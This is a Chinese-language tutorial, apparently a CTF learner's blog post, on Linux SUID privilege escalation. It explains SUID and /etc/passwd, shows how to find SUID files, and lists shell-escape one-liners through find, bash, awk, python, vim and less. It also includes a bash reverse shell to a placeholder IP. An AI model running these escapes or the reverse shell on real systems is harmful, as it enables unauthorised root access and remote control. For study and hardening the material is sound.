Linux suid提权
what
SUID(Set User ID)是一种 Unix 和类 Unix 操作系统中的权限位,用于改变执行文件的权限。当一个可执行文件被设置为 SUID,它在执行时将具有文件所有者的权限,而不是执行者的权限。
简单说:如果一个文件具有s权限,那么当我们执行它时,不是以用户身份执行,而是以文件所有者身份执行,因而具有文件所有者的权限
这可以用于在执行过程中获取特权,例如允许普通用户执行需要超级用户权限的操作,而无需登录超级用户账户
linux引入了3个文件来管理用户组:
- /etc/passwd存放用户信息。
- /etc/shadow存放用户密码信息。
- /etc/group存放组信息。
在文件系统中的每个文件的文件头里面添加了用户和文件之间的关系信息。
用户信息/etc/passwd每行共有7个字段冒号隔开:
字段1为用户名。
字段2为用户的密码。
字段3为指UID,每个用户都有自己的uid。
字段4为组UID,每个用户都有不同的uid。
字段5为解释说明的字段。
字段6为指用户的根目录。
字段7为指登录shell,用户登录shell,当前为/bin/zsh表示可以登录,/sbin/nologin标识不被授权登录。
利用
可以看到只有root的uid为0 如果把一个普通用户的uid修改为0,那么只要以普通用户的用户名和密码登录系统就会自动切换到root用户,在系统加固时一定要找出有哪些用户的uid为0
当我们在linux创建文件时,非root用户是无法创建的,除非让root用户为我们提升权限或者用sudo命令
并且此时创建的文件的所属人所属组也是root 并不是我们自己
因此 如果这个文件带有suid 那么当我们执行的时候就会以root权限进行执行,可执行文件运行时该进程的权限为root权限 从而提升权限
如何设置suid
1 | chmod u+s filename #设置suid |
如何查找suid文件
常用的几条:
1 | find / -user root -perm -4000 -print 2>/dev/null |
利用suid进行提权
一些小思考
以下有些命令说是提权但是只是进入一个shell交互界面 但是用户还是非root状态
网上好多文章也只是止步于此 并没有解释的清楚
当然也并不能说它提权失败了
提权不是说一定要提升到root用户 只要能达到越权效果,那么也算是狭义的提权了
具体效果还要根据题目或者真实环境而已,但是能进入shell界面总归是一个好的开始
前提
以下命令都是基于自身已经被赋予了suid
例如这里的find命令
find
不过一般在实战中都是在/tmp下创建一个文件
1 | find 任意文件filename -exec whoami \; -quit |
网上还有利用这个find命令进行反弹shell提权的,但是反弹shell并没有提权,还是非root用户
还是说我kali版本太高了被修复了
1 | find 1.txt -exec bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1' \; -quit |
bash
1 | bash -p |
env
1 | env shell |
ionice
nice
less/more
文件并非是/etc/passwd 只要是内容多的文件都行
1 | less /etc/passwd |
flock
1 | flock -u / whoami |
vim
1 | vim.tiny /etc/passwd |
nano
1 | nano |
awk
1 | awk 'BEGIN {system("/bin/sh")}' |
python
在之前ctf一道题目遇到的 当然前提是得有suid
1 | python3 -c "import os;os.execl('/bin/sh','sh','-p')" |
终极工具
一个在线网站 查看命令存在suid命令的用法
后话
利用suid提权主要思路:
- 首先找到所在环境以及具有suid的文件
- 然后找到相应命令进入shell交互的方法
- 执行shell
遇到题目环境回来找找看就行了:)
至此 先到这里
参考:
https://m.freebuf.com/articles/web/272617.htmlSUID